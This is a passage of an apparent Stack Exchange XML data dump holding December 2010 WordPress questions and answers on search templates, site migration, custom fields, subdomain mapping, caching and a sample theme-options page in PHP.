&lt;code&gt;(3729,3731,3732,3733,3734,3735)&lt;/code&gt;.&lt;br&gt;&#xA;I also see a lot of &lt;code&gt;LIMIT 1&lt;/code&gt; in these queries. IS that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why I'm only getting one result?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-12-15T18:21:35.550" Title="Any reason why search result lists only one entry?" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="5425" PostTypeId="2" ParentId="5422" CreationDate="2010-12-15T18:14:45.280" Score="2" ViewCount="" Body="&lt;p&gt;I personaly do that in 3 steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) in the admin i change both wordpress and site adresses from 'domainname.com/test/' to ' domainname.com/'. After saving it'll break the site, no worries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) i move ftp files from the /test/ folder to the root one (gives back the admin and site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) i finally change database datas that refer to the old url '.../test/' by using the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;search and replace&lt;/a&gt;. Gives back all the pictures uploaded for exemple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did it again this morning, works fine.&#xA;And as pootzko says, backup backup, you never know what can happen.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2010-12-15T18:14:45.280" CommentCount="7" />
  <row Id="5426" PostTypeId="1" AcceptedAnswerId="5446" CreationDate="2010-12-15T18:17:18.903" Score="1" ViewCount="204" Body="&lt;p&gt;I have a little bug on my WordPress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added a custom field, I have no ajax, I need to saved the draft or publish to see the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after I saved my post, the custom field display twice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name :   Steffi&#xA;&#xA;name :   Steffi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help, please ! Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update :&lt;/strong&gt; &#xA;&lt;em&gt;Console with Firebug&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_ajax_nonce 0&#xA;_ajax_nonce-add-meta    53208ba18d&#xA;action  add-meta&#xA;metakeyinput    &#xA;metakeyselect   titre&#xA;metavalue   e&#xA;post_id 1151&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2000" LastEditorUserId="2000" LastEditorDisplayName="" LastEditDate="2010-12-15T21:37:24.100" LastActivityDate="2011-01-14T22:31:06.390" Title="Wordpress: custom field display twice" Tags="&lt;custom-field&gt;&lt;ajax&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="5427" PostTypeId="2" ParentId="5424" CreationDate="2010-12-15T18:21:35.550" Score="4" ViewCount="" Body="&lt;p&gt;What template does search page use? It is either generic &lt;code&gt;index.php&lt;/code&gt; or specialized &lt;code&gt;search.php&lt;/code&gt;. What does Loop in that template look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this might be Loop issue that is set to only dislpay single post, instead of iterating all of them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-15T18:21:35.550" CommentCount="1" />
  <row Id="5428" PostTypeId="2" ParentId="5365" CreationDate="2010-12-15T18:40:58.240" Score="0" ViewCount="" Body="&lt;p&gt;You can also try the &lt;code&gt;time_since()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function time_since($older_date, $newer_date = false){&#xA;  $chunks = array(&#xA;    'year'   =&amp;gt; 60 * 60 * 24 * 365,&#xA;    'month'  =&amp;gt; 60 * 60 * 24 * 30,&#xA;    'week'   =&amp;gt; 60 * 60 * 24 * 7,&#xA;    'day'    =&amp;gt; 60 * 60 * 24,&#xA;    'hour'   =&amp;gt; 60 * 60,&#xA;    'minute' =&amp;gt; 60,&#xA;    'second' =&amp;gt; 1&#xA;  );&#xA;&#xA;  $newer_date = ($newer_date == false) ? (time()+(60*60*get_option(&quot;gmt_offset&quot;))) : $newer_date;&#xA;  $since = $newer_date - $older_date;&#xA;&#xA;  foreach ($chunks as $key =&amp;gt; $seconds)&#xA;    if (($count = floor($since / $seconds)) != 0) break;&#xA;&#xA;  $messages = array(&#xA;    'year'   =&amp;gt; _n('%s year ago', '%s years ago', $count),&#xA;    'month'  =&amp;gt; _n('%s month ago', '%s months ago', $count),&#xA;    'week'   =&amp;gt; _n('%s week ago', '%s weeks ago', $count),&#xA;    'day'    =&amp;gt; _n('%s day ago', '%s days ago', $count),&#xA;    'hour'   =&amp;gt; _n('%s hour ago', '%s hours ago', $count),&#xA;    'minute' =&amp;gt; _n('%s minute ago', '%s minutes ago', $count),&#xA;    'second' =&amp;gt; _n('%s second ago', '%s seconds ago', $count),&#xA;  );&#xA;  return sprintf($messages[$key],$count);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;call it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo time_since(abs(strtotime($post-&amp;gt;post_date.&quot; GMT&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think &lt;a href=&quot;http://binarybonsai.com/code/timesince.txt/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is the original source of the code&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-15T18:40:58.240" />
  <row Id="5429" PostTypeId="2" ParentId="5426" CreationDate="2010-12-15T18:43:23.030" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your config.php file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;define( 'CONCATENATE_SCRIPTS', false );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;above the line /* That's all, stop editing! Happy blogging. */&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/admin-ajax-not-working?replies=4&quot; rel=&quot;nofollow&quot;&gt;Found here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2010-12-15T18:43:23.030" CommentCount="11" />
  <row Id="5430" PostTypeId="1" CreationDate="2010-12-15T18:52:24.663" Score="0" ViewCount="186" Body="&lt;p&gt;I've a blog page in wordpress site at &lt;a href=&quot;http://website.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://website.com/blog&lt;/a&gt; I want this should be accessed with &lt;a href=&quot;http://blog.website.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.website.com&lt;/a&gt; and even the any blog article's link should be &lt;a href=&quot;http://blog.website.com/article-of-the-week&quot; rel=&quot;nofollow&quot;&gt;http://blog.website.com/article-of-the-week&lt;/a&gt;. and search-engine should also take the link as &lt;a href=&quot;http://blog.website.com/article-of-the-week&quot; rel=&quot;nofollow&quot;&gt;http://blog.website.com/article-of-the-week&lt;/a&gt; not &lt;a href=&quot;http://website.com/blog/article-of-the-week&quot; rel=&quot;nofollow&quot;&gt;http://website.com/blog/article-of-the-week&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using google XML sitemap plugin. and for the blog page url I want to submit the url as &lt;a href=&quot;http://blog.website.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.website.com&lt;/a&gt; not &lt;a href=&quot;http://website.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://website.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a example site you can take this &lt;a href=&quot;http://www.ndesign-studio.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://www.ndesign-studio.com/blog&lt;/a&gt; it's a site which has blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-12-16T07:41:54.333" LastActivityDate="2011-01-15T08:31:12.370" Title="How to replace blog page url with subdomain at all places, even in xml sitemap?" Tags="&lt;3.0&gt;&lt;seo&gt;&lt;domain-mapping&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5431" PostTypeId="1" CreationDate="2010-12-15T19:13:56.733" Score="0" ViewCount="114" Body="&lt;p&gt;Seems when I import the WPMU's XML file into the WP 3.0 install, I lose a ton of Pages/Posts/Categories. I am now leaning towards just manually moving over the tables from WPMU to WP3.0. Yet, when I do a dump of just wp_posts I get a sql error - making me think moving the db tables from WPMU to WP3.0 will be more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated in figuring out how to correctly move over these tables so I don't have to do the XML export/import all day with no results.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-07T09:18:48.587" LastActivityDate="2011-02-07T09:18:48.587" Title="Manually Moving Posts/Pages/Comments/Tags from WPMU to WP3.0" Tags="&lt;multisite&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5432" PostTypeId="1" AcceptedAnswerId="5434" CreationDate="2010-12-15T19:23:33.227" Score="0" ViewCount="124" Body="&lt;p&gt;I want to create a plugin that will place a few elements on the post edit page. How do I do this? Is there an action that is run after before the post_edit page is loaded?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2010-12-15T19:34:29.477" Title="Extend the Admin Post/Edit page" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="5433" PostTypeId="1" CreationDate="2010-12-15T19:27:08.357" Score="0" ViewCount="181" Body="&lt;p&gt;I'd like to clarify several details about how w3 total cache works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using w3 total cache to combine multiple js files into one. I'm also setting expires headers from the browser tab to twenty days. Garbage collection interval is set to one day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the combined file is rebuilt due to garbage collection will the combined file name change if the js files haven't been changed? I guess it will not change as otherwise users won't be able to use the cached one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I modify one of the files will w3tc automatically detect it or do I need to clear the minify cache?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up I am interested in which cases the combined file name changes and do I have to worry about clients using older version do to expires headers and how w3tc manages it.&lt;/p&gt;&#xA;" OwnerUserId="1133" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:37:22.840" LastActivityDate="2011-01-31T09:37:22.840" Title="Minifing js files with w3 total cache and expiring the combined file" Tags="&lt;performance&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="5434" PostTypeId="2" ParentId="5432" CreationDate="2010-12-15T19:34:29.477" Score="2" ViewCount="" Body="&lt;p&gt;Here's a nice tutorial on how to create custom meta boxes in the dashboard:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/04/how-to-create-meta-box-wordpress-post.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-15T19:34:29.477" />
  <row Id="5435" PostTypeId="2" ParentId="5430" CreationDate="2010-12-15T19:39:08.513" Score="1" ViewCount="" Body="&lt;p&gt;If the blog can actually be accessed at &lt;a href=&quot;http://blog.website.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.website.com&lt;/a&gt;, you'll need to edit your &lt;code&gt;siteURL&lt;/code&gt; and &lt;code&gt;home&lt;/code&gt; settings on the Options screen within WordPress.  This will set your blog's default home to be &lt;a href=&quot;http://blog.website.com&quot; rel=&quot;nofollow&quot;&gt;http://blog.website.com&lt;/a&gt; instead of &lt;a href=&quot;http://website.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://website.com/blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more specific instructions &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;in the Codex&lt;/a&gt; ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-15T19:39:08.513" CommentCount="3" />
  <row Id="5436" PostTypeId="1" AcceptedAnswerId="5482" CreationDate="2010-12-15T19:44:03.203" Score="1" ViewCount="120" Body="&lt;p&gt;I'd like to be able to choose an object from another custom post type I've created when adding a second type.  Similar to the way you can choose an author for a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when creating a post of type B there would be a dropdown of all the post As that the current author has created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions or direction.&lt;/p&gt;&#xA;" OwnerUserId="1991" LastActivityDate="2010-12-16T11:31:06.617" Title="Is there a way to relate custom post types?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" />
  <row Id="5437" PostTypeId="1" CreationDate="2010-12-15T20:03:16.287" Score="0" ViewCount="128" Body="&lt;p&gt;&lt;a href=&quot;http://valeriegeffner.com/valstore/products&quot; rel=&quot;nofollow&quot;&gt;http://valeriegeffner.com/valstore/products&lt;/a&gt; is the site i'm working on // if you hover over the product the url is /archives/valstore/products/%the_product_name% // the problem i'm having is that the archives is being put in there for some reason &amp;amp;&amp;amp; if you go to the product all links (( including nav bar )) have archives inject'd into them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas ? only solution i can think of is doing some sort of url rewriting w/ .htaccess (( tho i'm not entirely sure how to pull that off ))&lt;/p&gt;&#xA;" LastActivityDate="2010-12-15T20:13:14.840" Title="remove archive from url :: marketpress" Tags="&lt;url-rewriting&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="5438" PostTypeId="2" ParentId="5437" CreationDate="2010-12-15T20:13:14.840" Score="1" ViewCount="" Body="&lt;p&gt;You need to set the rewrite parameter &lt;code&gt;with_front&lt;/code&gt; to false inside your post type registration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite'  =&amp;gt; array( 'slug' =&amp;gt; your-posttype-slug, 'with_front' =&amp;gt; false ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the rewrite parameter on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register_post_type codex page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-15T20:13:14.840" />
  <row Id="5439" PostTypeId="2" ParentId="4712" CreationDate="2010-12-15T20:23:51.827" Score="1" ViewCount="" Body="&lt;p&gt;Here is my way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get some info from the stylesheet (we need theme name &amp;amp; version)&#xA;$theme = get_theme_data(get_stylesheet_uri());&#xA;&#xA;define('THE_THEME', strip_tags($theme['Name']));    //  this is used as option name&#xA;define('THEME_VERSION', trim($theme['Version']));&#xA;&#xA;// default theme settings, the reason for a function is to avoid using a global array :)&#xA;function default_theme_options(){&#xA;  return array(&#xA;    'version' =&amp;gt; '1.4.5',  // we use this to sync options between different theme versions&#xA;    'my_textfield' =&amp;gt; 'A simple text field',&#xA;    'my_checkbox' =&amp;gt; false,&#xA;    'my_select' =&amp;gt; 2,&#xA;    'my_texarea' =&amp;gt; 'Just a text area bla blah',&#xA;    'my_radio' =&amp;gt; '3rd',&#xA;    'my_multicheck' =&amp;gt; '1,3',&#xA;  );&#xA;}&#xA;&#xA;// make the theme settings are properly set up&#xA;add_action('after_setup_theme', 'check_theme_options');&#xA;function check_theme_options(){&#xA;&#xA;  // get current settings&#xA;  $options = get_option(THE_THEME);&#xA;&#xA;  // get default settings&#xA;  $defaults = default_theme_options();&#xA;&#xA;  // make sure we have the theme options stored in the db, if not store the default ones&#xA;  if(!$options) update_option(THE_THEME, $defaults);&#xA;&#xA;  // new theme version? synchronize options then&#xA;  if(version_compare($options['version'], THEME_VERSION, '!=')):&#xA;&#xA;     // check for new options&#xA;     foreach($defaults as $option =&amp;gt; $value)&#xA;       if(!array_key_exists($option, $options)) $options[$option] = $defaults[$option];&#xA;&#xA;     // remove deprecated options if any&#xA;     foreach($options as $option =&amp;gt; $value)&#xA;       if(!array_key_exists($option, $defaults)) unset($options[$option]);&#xA;&#xA;     // update&#xA;     update_option(THE_THEME, $options);&#xA;  endif;&#xA;}&#xA;&#xA;&#xA;// create the menu entry and link it to the form&#xA;add_action('admin_menu', 'add_options_menu');&#xA;function add_options_menu(){&#xA;  add_theme_page(&#xA;    __('Theme settings'),      // page title&#xA;    'My Theme Name',           // menu title&#xA;    'edit_theme_options',      // show the theme settings to all users who have this capability&#xA;    'my_theme_options_page',   // menu slug&#xA;    'the_theme_options_form'   // the fields, function below&#xA;  );&#xA;}&#xA;&#xA;&#xA;// trigger when the form is submitted&#xA;add_action('admin_post_save_my_options', 'save_my_options');&#xA;function save_my_options() {&#xA;&#xA;  // check permissions and referer&#xA;  check_admin_referer('theme-settings');&#xA;  if(!current_user_can('edit_theme_options')) wp_die(__('You are not authorised to perform this operation.'));&#xA;  $options = get_option(THE_THEME); // get the current settings&#xA;&#xA;  // change options&#xA;  foreach (default_theme_options() as $key =&amp;gt; $value)&#xA;    if(isset($_POST[$key]))&#xA;      if(is_array($_POST[$key])) $options[$key] = strip_tags(implode(',', $_POST[$key]));&#xA;      else $options[$key] = current_user_can('unfiltered_html') ? stripslashes((string)$_POST[$key]) : stripslashes(wp_filter_post_kses((string)($_POST[$key])));&#xA;&#xA;  // update settings with the post data&#xA;  update_option(THE_THEME, $options);&#xA;&#xA;  // reload options page&#xA;  wp_redirect(admin_url('admin.php?page=my_theme_options_page&amp;amp;updated=true'));&#xA;}&#xA;&#xA;&#xA;// the theme settings form&#xA;function the_theme_options_form() {&#xA;  if(!current_user_can('edit_theme_options')) wp_die(__('You are not authorised to perform this operation.'));&#xA;  ?&amp;gt;&#xA;  &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php screen_icon('themes'); ?&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;?php echo get_admin_page_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;form id=&quot;theme-settings-form&quot; action=&quot;&amp;lt;?php echo admin_url('admin-post.php?action=save_my_options'); ?&amp;gt;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;     &amp;lt;?php if (isset($_GET['updated'])): // just updated? ?&amp;gt;&#xA;     &amp;lt;div class=&quot;updated fade below-h2&quot;&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;?php _e('Settings saved.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;my_textfield&quot;&amp;gt;&amp;lt;?php _e(&quot;A simple textfield&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;            &amp;lt;input id=&quot;my_textfield&quot; size=&quot;20&quot; name=&quot;my_textfield&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo get_my_option('my_textfield'); ?&amp;gt;&quot; /&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;      &amp;lt;tr&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;my_checkbox&quot;&amp;gt;&amp;lt;?php _e(&quot;Checkbox test&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;my_checkbox&quot; value=&quot;0&quot;&amp;gt;&#xA;            &amp;lt;input id=&quot;my_checkbox&quot; name=&quot;my_checkbox&quot; type=&quot;checkbox&quot; value=&quot;1&quot; &amp;lt;?php checked('1', get_my_option('my_checkbox')) ?&amp;gt; /&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;my_select&quot;&amp;gt;&amp;lt;?php _e(&quot;Multiple select field&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;            &amp;lt;select name=&quot;my_select&quot; id=&quot;my_select&quot;&amp;gt;&#xA;              &amp;lt;option value=&quot;1&quot; &amp;lt;?php selected('1', get_my_option('my_select')) ?&amp;gt;&amp;gt;&amp;lt;?php _e(&quot;option 1&quot;); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;              &amp;lt;option value=&quot;2&quot; &amp;lt;?php selected('2', get_my_option('my_select')) ?&amp;gt;&amp;gt;&amp;lt;?php _e(&quot;option 2&quot;); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;              &amp;lt;option value=&quot;3&quot; &amp;lt;?php selected('3', get_my_option('my_select')) ?&amp;gt;&amp;gt;&amp;lt;?php _e(&quot;option 3&quot;); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;my_texarea&quot;&amp;gt;&amp;lt;?php _e(&quot;A textarea&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;            &amp;lt;textarea rows=&quot;6&quot; cols=&quot;40&quot; name=&quot;my_textarea&quot; id=&quot;my_textarea&quot; class=&quot;code&quot;&amp;gt;&amp;lt;?php echo esc_html(get_my_option('my_textarea')); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;?php _e(&quot;A radio group:&quot;); ?&amp;gt;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;           &amp;lt;label for=&quot;my_radio_yes&quot;&amp;gt;&#xA;             &amp;lt;input name=&quot;my_radio&quot; id=&quot;my_radio_yes&quot; type=&quot;radio&quot; value=&quot;yes&quot; &amp;lt;?php checked('yes', get_my_option('my_radio')); ?&amp;gt; /&amp;gt;&#xA;              &amp;lt;?php _e(&quot;Yes&quot;); ?&amp;gt;&#xA;           &amp;lt;/label&amp;gt;&#xA;           &amp;amp;nbsp;&amp;amp;nbsp;&#xA;           &amp;lt;label for=&quot;my_radio_no&quot;&amp;gt;&#xA;             &amp;lt;input name=&quot;my_radio&quot; id=&quot;my_radio_no&quot; type=&quot;radio&quot; value=&quot;no&quot; &amp;lt;?php checked('no', get_my_option('my_radio')); ?&amp;gt; /&amp;gt;&#xA;              &amp;lt;?php _e(&quot;No&quot;); ?&amp;gt;&#xA;           &amp;lt;/label&amp;gt;&#xA;           &amp;amp;nbsp;&amp;amp;nbsp;&#xA;           &amp;lt;label for=&quot;my_radio_whatever&quot;&amp;gt;&#xA;             &amp;lt;input name=&quot;my_radio&quot; id=&quot;my_radio_whatever&quot; type=&quot;radio&quot; value=&quot;whatever&quot; &amp;lt;?php checked('whatever', get_my_option('my_radio')); ?&amp;gt; /&amp;gt;&#xA;              &amp;lt;?php _e(&quot;Whatever&quot;); ?&amp;gt;&#xA;           &amp;lt;/label&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;             &amp;lt;?php _e(&quot;Multiple checkbox option (eg. a list of categories):&quot;); ?&amp;gt;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;             &amp;lt;?php foreach(get_terms('category') as $term): // hidden input not needed here because we only send checked options ?&amp;gt;&#xA;             &amp;lt;label for=&quot;my_multicheck_&amp;lt;?php echo $term-&amp;gt;term_id; ?&amp;gt;&quot;&amp;gt;&#xA;               &amp;lt;input id=&quot;my_multicheck_&amp;lt;?php echo $term-&amp;gt;term_id; ?&amp;gt;&quot; name=&quot;my_multicheck[]&quot; type=&quot;checkbox&quot; value=&quot;&amp;lt;?php echo $term-&amp;gt;term_id; ?&amp;gt;&quot; &amp;lt;?php checked(in_array($term-&amp;gt;term_id, explode(',', get_my_option('my_multicheck')))); ?&amp;gt; /&amp;gt;&#xA;               &amp;lt;?php echo $term-&amp;gt;name; ?&amp;gt;&#xA;             &amp;lt;/label&amp;gt;&#xA;             &amp;lt;br /&amp;gt;&#xA;             &amp;lt;?php endforeach; ?&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;          &amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;             &amp;amp;nbsp;&#xA;          &amp;lt;/th&amp;gt;&#xA;          &amp;lt;td&amp;gt;&#xA;             &amp;lt;input type=&quot;submit&quot; class=&quot;button-secondary&quot; name=&quot;submit&quot; value=&quot;&amp;lt;?php _e(&quot;Save Changes&quot;); ?&amp;gt;&quot; /&amp;gt;&#xA;          &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php wp_nonce_field('theme-settings'); ?&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;&#xA;// apis -- eg. echo get_my_option('my_textfield');&#xA;function get_my_option($what){&#xA;  // check if it's a theme option or a normal wp option&#xA;  if($what &amp;amp;&amp;amp; !array_key_exists((string)$what, default_theme_options())) return get_option($what);&#xA;&#xA;  // it's a theme option&#xA;  $options = get_option(THE_THEME);&#xA;  return $options[$what];&#xA;}&#xA;&#xA;&#xA;function update_my_option($what, $value){&#xA;  // check if it's a theme option or a normal wp option&#xA;  if($what &amp;amp;&amp;amp; !array_key_exists((string)$what, default_theme_options())) return update_option($what, $value);&#xA;&#xA;  // it's a theme option&#xA;  $options = get_option(THE_THEME);&#xA;  $options[$what] = $value;&#xA;  return update_option(THE_THEME, $options);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a short adaptation from the theme settings I implemented in my theme, which is much more complex than this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that hidden input with 0 value - this is a trick to force the form to send &lt;code&gt;$_POST['my_checkbox']&lt;/code&gt; even if the field is unchecked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ukZZA.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-22T10:03:09.073" LastActivityDate="2011-01-22T10:03:09.073" CommunityOwnedDate="2011-01-22T09:42:01.457" />
  <row Id="5440" PostTypeId="1" CreationDate="2010-12-15T20:28:52.363" Score="0" ViewCount="98" Body="&lt;p&gt;working on a wordpress install that is in a subdirectory of another wordpress install (( thecloud99.info has wp in the root )) there is a folder in the root called clients w/ another wordpress install in chamber :: &lt;a href=&quot;http://thecloud99.info/clients/chamber/&quot; rel=&quot;nofollow&quot;&gt;http://thecloud99.info/clients/chamber/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem i'm running into is that the sub.menu under members shows up correctly but doesn't actually take me to the page, instead it returns me to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;??&lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T05:31:12.307" Title="sub.menu's not working" Tags="&lt;menus&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
